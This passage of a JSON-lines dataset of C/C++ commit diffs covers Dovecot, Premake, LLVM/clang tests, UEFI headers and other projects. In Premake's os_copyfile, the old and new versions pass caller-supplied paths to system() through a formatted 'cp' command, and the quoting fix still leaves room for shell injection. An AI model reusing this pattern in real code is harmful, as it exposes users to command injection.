max_len);\n\treturn str_c(str);\n}\n","new_contents":"\/* Copyright (c) 2004 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"str.h\"\n#include \"str-sanitize.h\"\n\nvoid str_sanitize_append(string_t *dest, const char *src, size_t max_len)\n{\n\tconst char *p;\n\n\tfor (p = src; *p != '\\0'; p++) {\n\t\tif (((unsigned char)*p & 0x7f) < 32)\n\t\t\tbreak;\n\t}\n\n\tstr_append_n(dest, src, (size_t)(p - src));\n\tfor (; *p != '\\0' && max_len > 0; p++, max_len--) {\n\t\tif (((unsigned char)*p & 0x7f) < 32)\n\t\t\tstr_append_c(dest, '?');\n\t\telse\n\t\t\tstr_append_c(dest, *p);\n\t}\n\n\tif (*p != '\\0') {\n\t\tstr_truncate(dest, str_len(dest)-3);\n\t\tstr_append(dest, \"...\");\n\t}\n}\n\nconst char *str_sanitize(const char *src, size_t max_len)\n{\n\tstring_t *str;\n\n\tstr = t_str_new(I_MIN(max_len, 256));\n\tstr_sanitize_append(str, src, max_len);\n\treturn str_c(str);\n}\n","subject":"Convert also 0x80..0x9f characters to '?'","message":"Convert also 0x80..0x9f characters to '?'\n","lang":"C","license":"mit","repos":"damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot"}
{"commit":"a42c50b4ccc19c05ccf6dd1fa066677eea12ee6a","old_file":"src\/host\/os_copyfile.c","new_file":"src\/host\/os_copyfile.c","old_contents":"\/**\n * \\file   os_copyfile.c\n * \\brief  Copy a file from one location to another.\n * \\author Copyright (c) 2002-2008 Jason Perkins and the Premake project\n *\/\n\n#include <stdlib.h>\n#include \"premake.h\"\n\nint os_copyfile(lua_State* L)\n{\n\tint z;\n\tconst char* src = luaL_checkstring(L, 1);\n\tconst char* dst = luaL_checkstring(L, 2);\n\n#if PLATFORM_WINDOWS\n\tz = CopyFileA(src, dst, FALSE);\n#else\n\tlua_pushfstring(L, \"cp %s %s\", src, dst);\n\tz = (system(lua_tostring(L, -1)) == 0);\n#endif\n\n\tif (!z)\n\t{\n\t\tlua_pushnil(L);\n\t\tlua_pushfstring(L, \"unable to copy file to '%s'\", dst);\n\t\treturn 2;\n\t}\n\telse\n\t{\n\t\tlua_pushboolean(L, 1);\n\t\treturn 1;\n\t}\n}\n","new_contents":"\/**\n * \\file   os_copyfile.c\n * \\brief  Copy a file from one location to another.\n * \\author Copyright (c) 2002-2008 Jason Perkins and the Premake project\n *\/\n\n#include <stdlib.h>\n#include \"premake.h\"\n\nint os_copyfile(lua_State* L)\n{\n\tint z;\n\tconst char* src = luaL_checkstring(L, 1);\n\tconst char* dst = luaL_checkstring(L, 2);\n\n#if PLATFORM_WINDOWS\n\tz = CopyFileA(src, dst, FALSE);\n#else\n\tlua_pushfstring(L, \"cp \\\"%s\\\" \\\"%s\\\"\", src, dst);\n\tz = (system(lua_tostring(L, -1)) == 0);\n#endif\n\n\tif (!z)\n\t{\n\t\tlua_pushnil(L);\n\t\tlua_pushfstring(L, \"unable to copy file to '%s'\", dst);\n\t\treturn 2;\n\t}\n\telse\n\t{\n\t\tlua_pushboolean(L, 1);\n\t\treturn 1;\n\t}\n}\n","subject":"Fix os.copyfile with spaces in argument paths.","message":"Host\/Posix: Fix os.copyfile with spaces in argument paths.","lang":"C","license":"bsd-3-clause","repos":"tvandijck\/premake-core,Zefiros-Software\/premake-core,noresources\/premake-core,sleepingwit\/premake-core,xriss\/premake-core,LORgames\/premake-core,mendsley\/premake-core,bravnsgaard\/premake-core,LORgames\/premake-core,noresources\/premake-core,jstewart-amd\/premake-core,LORgames\/premake-core,dcourtois\/premake-core,tvandijck\/premake-core,premake\/premake-core,TurkeyMan\/premake-core,resetnow\/premake-core,Blizzard\/premake-core,aleksijuvani\/premake-core,xriss\/premake-core,TurkeyMan\/premake-core,Blizzard\/premake-core,tvandijck\/premake-core,sleepingwit\/premake-core,bravnsgaard\/premake-core,mandersan\/premake-core,CodeAnxiety\/premake-core,starkos\/premake-core,LORgames\/premake-core,CodeAnxiety\/premake-core,dcourtois\/premake-core,resetnow\/premake-core,starkos\/premake-core,noresources\/premake-core,mandersan\/premake-core,starkos\/premake-core,Zefiros-Software\/premake-core,jstewart-amd\/premake-core,TurkeyMan\/premake-core,xriss\/premake-core,mendsley\/premake-core,mendsley\/premake-core,CodeAnxiety\/premake-core,premake\/premake-core,aleksijuvani\/premake-core,premake\/premake-core,tvandijck\/premake-core,aleksijuvani\/premake-core,dcourtois\/premake-core,dcourtois\/premake-core,Zefiros-Software\/premake-core,Blizzard\/premake-core,noresources\/premake-core,CodeAnxiety\/premake-core,aleksijuvani\/premake-core,dcourtois\/premake-core,resetnow\/premake-core,Blizzard\/premake-core,jstewart-amd\/premake-core,CodeAnxiety\/premake-core,jstewart-amd\/premake-core,premake\/premake-core,sleepingwit\/premake-core,Zefiros-Software\/premake-core,soundsrc\/premake-core,sleepingwit\/premake-core,noresources\/premake-core,mendsley\/premake-core,resetnow\/premake-core,xriss\/premake-core,soundsrc\/premake-core,premake\/premake-core,starkos\/premake-core,resetnow\/premake-core,premake\/premake-core,starkos\/premake-core,soundsrc\/premake-core,lizh06\/premake-core,mandersan\/premake-core,lizh06\/premake-core,bravnsgaard\/premake-core,premake\/premake-core,lizh06\/premake-core,lizh06\/premake-core,Blizzard\/premake-core,soundsrc\/premake-core,soundsrc\/premake-core,bravnsgaard\/premake-core,aleksijuvani\/premake-core,TurkeyMan\/premake-core,xriss\/premake-core,noresources\/premake-core,jstewart-amd\/premake-core,starkos\/premake-core,bravnsgaard\/premake-core,Zefiros-Software\/premake-core,LORgames\/premake-core,dcourtois\/premake-core,mandersan\/premake-core,dcourtois\/premake-core,Blizzard\/premake-core,mandersan\/premake-core,TurkeyMan\/premake-core,sleepingwit\/premake-core,tvandijck\/premake-core,noresources\/premake-core,mendsley\/premake-core,starkos\/premake-core"}
{"commit":"58d8ac057e53be1a71a519fe4db7d83e7cf8056a","old_file":"submission_test\/Role.h","new_file":"submission_test\/Role.h","old_contents":"#ifndef ROLE_H_\n#define ROLE_H_\n\n#include \"State.h\"\n\nclass Role{\n    public:\n    State& state;\n    int x,y;\n    Role(State _state, int _id = 0, int _x = 0, int _y = 0) : state(_state), id(_id), x(_x), y(_y) {}\n    int getID(){\n        return id;\n    }\n    virtual void move() = 0;\n    private:\n        \/\/changing id is impossible\n        int id;\n};\n\n#endif\n","new_contents":"\n#ifndef ROLE_H_\n#define ROLE_H_\n\n#include \"State.h\"\n#include \"Location.h\"\n\n#include <vector>\n\n\/\/ this class is partial abstract\nclass Role {\n\npublic:\n\n\t\/\/ reference to the main state\n    State& state;\n\n    \/\/ neighbors\n    std::vector<int> neighbors;\n\nprivate:\n\n    \/\/ position of the ant\n    int x, y;\n\n    \/\/ ant's id\n    int id;\n\npublic:\n\n\t\/\/ -- virtual functions that will be implemented separately\n    \n    \/\/ communicate\n\tvirtual void receive ( int msg ) {\n\t\t\/\/ do nothing\n\t}\n\n\t\/\/ action move\n    virtual int move() = 0;\n    \n    void run(void) const {\n\n    \tint result = move();\n\n    \tif ( 0 < result and result < TDIRECTION ) {\n\t    \tstate.makeMove( getLocation(), result );\t\t\n    \t}\n    }\n\n    \/\/ helper functions\n\n    \/\/ return location of the ant\n    Location getLocation(void) const {\n    \treturn Location( x, y );\n    }\n\n    \/\/ return the id of the ant\n    int getID() const {\n        return id;\n    }\n\n    \/\/ constructor\n    Role(State _state, int _id = 0, int _x = 0, int _y = 0) : state(_state), id(_id), x(_x), y(_y) {}\n\n};\n\n\n#endif\n","subject":"Add more features ( made it more functional )","message":"Add more features ( made it more functional )\n","lang":"C","license":"mit","repos":"KorlaMarch\/Ant-bot,KorlaMarch\/Ant-bot,KorlaMarch\/Ant-bot,KorlaMarch\/Ant-bot,KorlaMarch\/Ant-bot,KorlaMarch\/Ant-bot,KorlaMarch\/Ant-bot"}
{"commit":"d569c69ea1a361ada0e09f2c58bd611b686d82e9","old_file":"modules\/dcc_chat.h","new_file":"modules\/dcc_chat.h","old_contents":"class dccChat : public Module {\n\tpublic:\n\t\tvoid onDCCReceive(std::string dccid, std::string message);\n};\n\nclass dccSender : public Module {\n\tpublic:\n\t\tvoid dccSend(std::string dccid, std::string message);\n};","new_contents":"class dccChat : public Module {\n\tpublic:\n\t\tvirtual void onDCCReceive(std::string dccid, std::string message);\n};\n\nclass dccSender : public Module {\n\tpublic:\n\t\tvirtual void dccSend(std::string dccid, std::string message);\n\t\tvirtual bool hookDCCMessage(std::string modName, std::string hookMsg);\n};","subject":"Fix those functions not being virtual.","message":"Fix those functions not being virtual.\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
{"commit":"dadb6d44743b45f60dc95d833b22f3de1e6dbd7d","old_file":"qtcreator\/cutelyst\/classes\/controller.h","new_file":"qtcreator\/cutelyst\/classes\/controller.h","old_contents":"%{Cpp:LicenseTemplate}\\\n#ifndef %{GUARD}\n#define %{GUARD}\n\n#include <Cutelyst\/Controller>\n\n%{JS: Cpp.openNamespaces('%{Class}')}\\\nusing namespace Cutelyst;\n\nclass %{CN} : public Controller\n{\n     Q_OBJECT\n@if %{CustomNamespace}\n     C_NAMESPACE(\"%{CustomNamespaceValue}\")\n@endif\npublic:\n    explicit %{CN}(QObject *parent = 0);\n\n    C_ATTR(index, :Path)\n    void index(Context *c);\n    \nprivate Q_SLOTS:\n@if %{BeginMethod}\n    bool Begin(Context *c) override;\n\n@endif\n@if %{AutoMethod}\n    bool Auto(Context *c) override;\n\n@endif\n@if %{EndMethod}\n    bool End(Context *c) override;\n\n@endif\n};\n%{JS: Cpp.closeNamespaces('%{Class}')}\n#endif \/\/ %{GUARD}\\\n","new_contents":"%{Cpp:LicenseTemplate}\\\n#ifndef %{GUARD}\n#define %{GUARD}\n\n#include <Cutelyst\/Controller>\n\n%{JS: Cpp.openNamespaces('%{Class}')}\\\nusing namespace Cutelyst;\n\nclass %{CN} : public Controller\n{\n     Q_OBJECT\n@if %{CustomNamespace}\n     C_NAMESPACE(\"%{CustomNamespaceValue}\")\n@endif\npublic:\n    explicit %{CN}(QObject *parent = 0);\n\n    C_ATTR(index, :Path)\n    void index(Context *c);\n    \nprivate Q_SLOTS:\n@if %{BeginMethod}\n    bool Begin(Context *c);\n\n@endif\n@if %{AutoMethod}\n    bool Auto(Context *c);\n\n@endif\n@if %{EndMethod}\n    bool End(Context *c);\n\n@endif\n};\n%{JS: Cpp.closeNamespaces('%{Class}')}\n#endif \/\/ %{GUARD}\\\n","subject":"Remove override form Begin Auto End methods of QtCreator plugin as they don't override anymore","message":"Remove override form Begin Auto End methods of QtCreator plugin as they don't override anymore\n","lang":"C","license":"bsd-3-clause","repos":"buschmann23\/cutelyst,cutelyst\/cutelyst,simonaw\/cutelyst,buschmann23\/cutelyst,buschmann23\/cutelyst,cutelyst\/cutelyst,cutelyst\/cutelyst,simonaw\/cutelyst"}
{"commit":"0b2b76601a160cc5e38f5c1720084e6b872bc246","old_file":"test\/CodeGen\/struct-matching-constraint.c","new_file":"test\/CodeGen\/struct-matching-constraint.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm -march=armv7a %s \n\n\/\/ XFAIL: *\n\/\/ XTARGET: arm\n\ntypedef struct __simd128_uint16_t\n{\n  __neon_uint16x8_t val;\n} uint16x8_t;\n\nvoid b(uint16x8_t sat, uint16x8_t luma)\n{\n  __asm__(\"vmov.16 %1, %0   \\n\\t\"\n                                           \"vtrn.16 %0, %1   \\n\\t\"\n   :\"=w\"(luma), \"=w\"(sat)\n   :\"0\"(luma)\n   );\n\n}\n","new_contents":"\/\/ RUN: %clang -S -emit-llvm -arch arm -march=armv7a %s\ntypedef unsigned short uint16_t;\ntypedef __attribute__((neon_vector_type(8))) uint16_t uint16x8_t;\n\nvoid b(uint16x8_t sat, uint16x8_t luma)\n{\n  __asm__(\"vmov.16 %1, %0   \\n\\t\"\n                                           \"vtrn.16 %0, %1   \\n\\t\"\n   :\"=w\"(luma), \"=w\"(sat)\n   :\"0\"(luma)\n   );\n\n}\n","subject":"Fix this test to work for arm and on all platforms.","message":"Fix this test to work for arm and on all platforms.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@136307 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"7ae187e075b4b6678732b1b82e3d4c59ed5f8dcc","old_file":"src\/popover\/main.c","new_file":"src\/popover\/main.c","old_contents":"\/*\n * This file is part of ui-tests\n *\n * Copyright © 2016 Ikey Doherty <ikey@solus-project.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\/\n\n#include \"util.h\"\n#include <stdlib.h>\n\nBUDGIE_BEGIN_PEDANTIC\n#include \"popover.h\"\nBUDGIE_END_PEDANTIC\n\nint main(int argc, char **argv)\n{\n        gtk_init(&argc, &argv);\n\n        return EXIT_FAILURE;\n}\n\n\/*\n * Editor modelines  -  https:\/\/www.wireshark.org\/tools\/modelines.html\n *\n * Local variables:\n * c-basic-offset: 8\n * tab-width: 8\n * indent-tabs-mode: nil\n * End:\n *\n * vi: set shiftwidth=8 tabstop=8 expandtab:\n * :indentSize=8:tabSize=8:noTabs=true:\n *\/\n","new_contents":"\/*\n * This file is part of ui-tests\n *\n * Copyright © 2016 Ikey Doherty <ikey@solus-project.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\/\n\n#include \"util.h\"\n#include <stdlib.h>\n\nBUDGIE_BEGIN_PEDANTIC\n#include \"popover.h\"\nBUDGIE_END_PEDANTIC\n\nint main(int argc, char **argv)\n{\n        gtk_init(&argc, &argv);\n        GtkWidget *window = NULL;\n\n        window = budgie_popover_new();\n        g_signal_connect(window, \"destroy\", gtk_main_quit, NULL);\n        gtk_widget_show_all(window);\n\n        gtk_main();\n\n        return EXIT_SUCCESS;\n}\n\n\/*\n * Editor modelines  -  https:\/\/www.wireshark.org\/tools\/modelines.html\n *\n * Local variables:\n * c-basic-offset: 8\n * tab-width: 8\n * indent-tabs-mode: nil\n * End:\n *\n * vi: set shiftwidth=8 tabstop=8 expandtab:\n * :indentSize=8:tabSize=8:noTabs=true:\n *\/\n","subject":"Make the demo use the popover","message":"Make the demo use the popover\n\nSigned-off-by: Ikey Doherty <d8d992cf0016e35c2a8339d5e7d44bebd12a2d77@solus-project.com>\n","lang":"C","license":"lgpl-2.1","repos":"ikeydoherty\/ui-tests,ikeydoherty\/ui-tests"}
{"commit":"504905fd4b5334c8763fa4b9c61e618fa68d4b8b","old_file":"include\/llvm\/Target\/TargetMachineImpls.h","new_file":"include\/llvm\/Target\/TargetMachineImpls.h","old_contents":"\/\/===-- llvm\/Target\/TargetMachineImpls.h - Target Descriptions --*- C++ -*-===\/\/\n\/\/\n\/\/ This file defines the entry point to getting access to the various target\n\/\/ machine implementations available to LLVM.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TARGET_TARGETMACHINEIMPLS_H\n#define LLVM_TARGET_TARGETMACHINEIMPLS_H\n\nnamespace TM {\n  enum {\n    PtrSizeMask  = 1,\n    PtrSize32    = 0,\n    PtrSize64    = 1,\n\n    EndianMask   = 2,\n    LittleEndian = 0,\n    BigEndian    = 2,\n  };\n}\n\nclass TargetMachine;\n\n\/\/ allocateSparcTargetMachine - Allocate and return a subclass of TargetMachine\n\/\/ that implements the Sparc backend.\n\/\/\nTargetMachine *allocateSparcTargetMachine();\n\n\/\/ allocateX86TargetMachine - Allocate and return a subclass of TargetMachine\n\/\/ that implements the X86 backend.  The X86 target machine can run in\n\/\/ \"emulation\" mode, where it is capable of emulating machines of larger pointer\n\/\/ size and different endianness if desired.\n\/\/\nTargetMachine *allocateX86TargetMachine(unsigned Configuration =\n\t\t\t\t\t   TM::PtrSize32|TM::LittleEndian);\n\n#endif\n","new_contents":"\/\/===-- llvm\/Target\/TargetMachineImpls.h - Target Descriptions --*- C++ -*-===\/\/\n\/\/\n\/\/ This file defines the entry point to getting access to the various target\n\/\/ machine implementations available to LLVM.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TARGET_TARGETMACHINEIMPLS_H\n#define LLVM_TARGET_TARGETMACHINEIMPLS_H\n\nnamespace TM {\n  enum {\n    PtrSizeMask  = 1,\n    PtrSize32    = 0,\n    PtrSize64    = 1,\n\n    EndianMask   = 2,\n    LittleEndian = 0,\n    BigEndian    = 2,\n  };\n}\n\nclass TargetMachine;\n\n\/\/ allocateSparcTargetMachine - Allocate and return a subclass of TargetMachine\n\/\/ that implements the Sparc backend.\n\/\/\nTargetMachine *allocateSparcTargetMachine(unsigned Configuration =\n                                          TM::PtrSize64|TM::BigEndian);\n\n\/\/ allocateX86TargetMachine - Allocate and return a subclass of TargetMachine\n\/\/ that implements the X86 backend.  The X86 target machine can run in\n\/\/ \"emulation\" mode, where it is capable of emulating machines of larger pointer\n\/\/ size and different endianness if desired.\n\/\/\nTargetMachine *allocateX86TargetMachine(unsigned Configuration =\n                                        TM::PtrSize32|TM::LittleEndian);\n\n#endif\n","subject":"Allow allocation of a Sparc TargetMachine.","message":"Allow allocation of a Sparc TargetMachine.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@6364 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap"}
{"commit":"4f923d491c12d654a0e8ac7101c93dccf5ac9ba5","old_file":"sipXmediaLib\/include\/mp\/MpIntResourceMsg.h","new_file":"sipXmediaLib\/include\/mp\/MpIntResourceMsg.h","old_contents":"","new_contents":"\/\/  \n\/\/ Copyright (C) 2008 SIPez LLC. \n\/\/ Licensed to SIPfoundry under a Contributor Agreement. \n\/\/\n\/\/ Copyright (C) 2008 SIPfoundry Inc.\n\/\/ Licensed by SIPfoundry under the LGPL license.\n\/\/\n\/\/ $$\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef _MpIntResourceMsg_h_\n#define _MpIntResourceMsg_h_\n\n\/\/ SYSTEM INCLUDES\n\n\/\/ APPLICATION INCLUDES\n#include \"mp\/MpResourceMsg.h\"\n\n\/\/ DEFINES\n\/\/ MACROS\n\/\/ EXTERNAL FUNCTIONS\n\/\/ EXTERNAL VARIABLES\n\/\/ CONSTANTS\n\/\/ STRUCTS\n\/\/ TYPEDEFS\n\/\/ FORWARD DECLARATIONS\n\n\/\/\/ Message used to pass an integer value to resource.\nclass MpIntResourceMsg : public MpResourceMsg\n{\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PUBLIC \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\npublic:\n\n\/* ============================ CREATORS ================================== *\/\n\/\/\/@name Creators\n\/\/@{\n\n     \/\/\/ Constructor\n   MpIntResourceMsg(MpResourceMsgType type,\n                    const UtlString& targetResourceName,\n                    int data)\n   : MpResourceMsg(type, targetResourceName)\n   , mData(data)\n   {\n   };\n\n     \/\/\/ Copy constructor\n   MpIntResourceMsg(const MpIntResourceMsg &msg)\n   : MpResourceMsg(msg)\n   , mData(msg.mData)\n   {\n   };\n\n     \/\/\/ @copydoc MpResourceMsg::createCopy()\n   OsMsg* createCopy() const\n   {\n      return new MpIntResourceMsg(*this); \n   }\n\n\/\/@}\n\n\/* ============================ MANIPULATORS ============================== *\/\n\/\/\/@name Manipulators\n\/\/@{\n\n   \/\/\/ Assignment operator\n   MpIntResourceMsg& operator=(const MpIntResourceMsg& rhs)\n   {\n        if(&rhs == this)\n        {\n            return(*this);\n        }\n\n        MpResourceMsg::operator=(rhs);\n\n        mData = rhs.mData;\n\n        return *this;\n   }\n\n\/\/@}\n\n\/* ============================ ACCESSORS ================================= *\/\n\/\/\/@name Accessors\n\/\/@{\n\n     \/\/\/ Return contained integer.\n   int getData() const {return mData;}\n\n\/\/@}\n\n\/* ============================ INQUIRY =================================== *\/\n\/\/\/@name Inquiry\n\/\/@{\n\n\/\/@}\n\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PROTECTED \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\nprotected:\n\n\/* \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PRIVATE \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\nprivate:\n   int mData;      \/\/\/< Integer to be passed to resource.\n};\n\n\/* ============================ INLINE METHODS ============================ *\/\n\n#endif  \/\/ _MpIntResourceMsg_h_\n","subject":"Add resource message bearing some abstract integer.","message":"Add resource message bearing some abstract integer.\n\n\ngit-svn-id: f26ccc5efe72c2bd8e1c40f599fe313f2692e4de@10873 a612230a-c5fa-0310-af8b-88eea846685b\n","lang":"C","license":"lgpl-2.1","repos":"sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror"}
{"commit":"63ca5179dd60983527d17a31c0e44e0a3be5124f","old_file":"MdePkg\/Include\/Guid\/MemoryAttributesTable.h","new_file":"MdePkg\/Include\/Guid\/MemoryAttributesTable.h","old_contents":"","new_contents":"\/** @file\r\n  GUIDs used for UEFI Memory Attributes Table in the UEFI 2.6 specification.\r\n\r\n  Copyright (c) 2016, Intel Corporation. All rights reserved.<BR>\r\n  This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef __UEFI_MEMORY_ATTRIBUTES_TABLE_H__\r\n#define __UEFI_MEMORY_ATTRIBUTES_TABLE_H__\r\n\r\n#define EFI_MEMORY_ATTRIBUTES_TABLE_GUID {\\\r\n  0xdcfa911d, 0x26eb, 0x469f, {0xa2, 0x20, 0x38, 0xb7, 0xdc, 0x46, 0x12, 0x20} \\\r\n}\r\n\r\ntypedef struct {\r\n  UINT32                Version;\r\n  UINT32                NumberOfEntries;\r\n  UINT32                DescriptorSize;\r\n  UINT32                Reserved;\r\n\/\/EFI_MEMORY_DESCRIPTOR Entry[1];\r\n} EFI_MEMORY_ATTRIBUTES_TABLE;\r\n\r\n#define EFI_MEMORY_ATTRIBUTES_TABLE_VERSION  0x00000001\r\n\r\nextern EFI_GUID gEfiMemoryAttributesTableGuid;\r\n\r\n#endif\r\n","subject":"Add UEFI2.6 MemoryAttributes Table definition.","message":"MdePkg: Add UEFI2.6 MemoryAttributes Table definition.\n\nAdd UEFI2.6 MemoryAttributes Table definition header\nfile.\n\nContributed-under: TianoCore Contribution Agreement 1.0\nSigned-off-by: \"Yao, Jiewen\" <364a90bfebd1f362ebb7b48e4bf8ec010adef203@intel.com>\nReviewed-by: \"Gao, Liming\" <6480311aeeb4b006862f6d13ebabddc03f51e507@intel.com>\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"5869dc005e829ed07b066746b01d24f264a47113","old_file":"test\/FrontendC\/pr5406.c","new_file":"test\/FrontendC\/pr5406.c","old_contents":"\/\/ RUN: %llvmgcc %s -S -emit-llvm -O0 -o - | FileCheck %s\n\/\/ PR 5406\n\n\/\/ XFAIL: *\n\/\/ XTARGET: arm\n\ntypedef struct { char x[3]; } A0;\nvoid foo (int i, ...);\n\n\n\/\/ CHECK: call arm_aapcscc  void (i32, ...)* @foo(i32 1, i32 {{.*}}) nounwind\nint main (void)\n{\n  A0 a3;\n  a3.x[0] = 0;\n  a3.x[0] = 0;\n  a3.x[2] = 26;\n  foo (1,  a3 );\n  return 0;\n}\n","new_contents":"\/\/ RUN: %llvmgcc %s -S -emit-llvm -O0 -o - | FileCheck %s\n\/\/ PR 5406\n\n\/\/ XFAIL: *\n\/\/ XTARGET: arm\n\ntypedef struct { char x[3]; } A0;\nvoid foo (int i, ...);\n\n\n\/\/ CHECK: call void (i32, ...)* @foo(i32 1, i32 {{.*}}) nounwind\nint main (void)\n{\n  A0 a3;\n  a3.x[0] = 0;\n  a3.x[0] = 0;\n  a3.x[2] = 26;\n  foo (1,  a3 );\n  return 0;\n}\n","subject":"Update test to match recent llvm-gcc change.","message":"Update test to match recent llvm-gcc change.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@106056 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm"}
{"commit":"630a77010f67c64a224c4408ef8650c591280779","old_file":"tests\/ExperimentSuite.h","new_file":"tests\/ExperimentSuite.h","old_contents":"","new_contents":"#include <cxxtest\/TestSuite.h>\n#include \"..\/log\/EyeLog.h\"\n\nclass ExperimentSuite: public CxxTest::TestSuite\n{\npublic:\n\n    bool entryVecsAreEqual(const PEntryVec& v1, const PEntryVec& v2)\n    {\n        if (v1.size() != v2.size())\n            return false;\n        for (auto i = PEntryVec::size_type(0); i < v1.size(); i++) {\n            if (v1[i]->compare(*v2[i]) != 0)\n                return false;\n        }\n        return true;\n    }\n\n    void testMetaComparison()\n    {\n        TS_TRACE(\"Testing PExperiment comparisons\");\n        PEntryVec meta;\n        PEntryVec metacp;\n        meta.push_back(new PGazeEntry(LGAZE, 0, 10, 10, 0));\n        meta.push_back(new PGazeEntry(RGAZE, 0, 10, 10, 0));\n        meta.push_back(new PGazeEntry(LGAZE, 1, 10, 10, 0));\n        meta.push_back(new PGazeEntry(RGAZE, 1, 10, 10, 0));\n        meta.push_back(new PMessageEntry(2, \"Hi\"));\n\n        metacp = copyPEntryVec(meta);\n\n        PExperiment expmeta (meta);\n        PExperiment expmetacp(metacp);\n\n        \/\/ Test whether two identical are identical\n        TS_ASSERT_EQUALS(expmeta, expmetacp);\n        metacp.push_back(new PTrialEntry());\n\n        \/\/ Test whether a length difference compares as unequal\n        TS_ASSERT_DIFFERS(expmeta, PExperiment(metacp));\n\n        destroyPEntyVec(metacp);\n        metacp = 